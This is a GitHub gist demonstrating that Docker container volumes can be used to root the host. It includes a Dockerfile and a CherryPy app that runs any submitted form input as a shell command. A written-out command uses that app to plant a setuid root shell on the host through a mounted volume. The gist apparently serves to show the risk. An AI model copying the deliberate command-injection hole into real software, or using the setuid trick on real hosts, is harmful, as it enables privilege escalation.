Skip to content

Instantly share code, notes, and snippets.

@gtirloni

gtirloni/Dockerfile

Created April 7, 2015 00:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gtirloni/72c6d8fc061e8dd598b5 to your computer and use it in GitHub Desktop.
Save gtirloni/72c6d8fc061e8dd598b5 to your computer and use it in GitHub Desktop.
Download ZIP
Using container volumes to root the host
Raw
commands.txt
Unknowingly initiate buggy app: "docker run -p 8080:8080 -v /srv/stuff:/data -i -t hackme"
Connect to http://localhost:8080 and submit command: "cp /bin/sh /data && chown root.root /data/sh && chmod a+s /data/sh"
Verify a setuid /bin/sh binary was created on /srv/stuff
Raw
Dockerfile
FROM centos:7
EXPOSE 8080
RUN yum -y install epel-release
RUN yum -y install python-cherrypy
COPY hackme.py /tmp/
CMD ["/usr/bin/python", "/tmp/hackme.py"]
Raw
hackme.py
import cherrypy
import subprocess
class HackMe:
@cherrypy.expose
def index(self):
return """
<html><body>
<form method='get' action='/post'>
<input name="cmd"/>
<input type='submit' value='Submit' />
</form></body>
</html>
"""
@cherrypy.expose
def post(self, cmd):
subprocess.call(cmd, shell=True)
if __name__ == "__main__":
cherrypy.config.update( {'server.socket_host':"0.0.0.0", 'server.socket_port':8080 } )
cherrypy.quickstart( HackMe() )
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment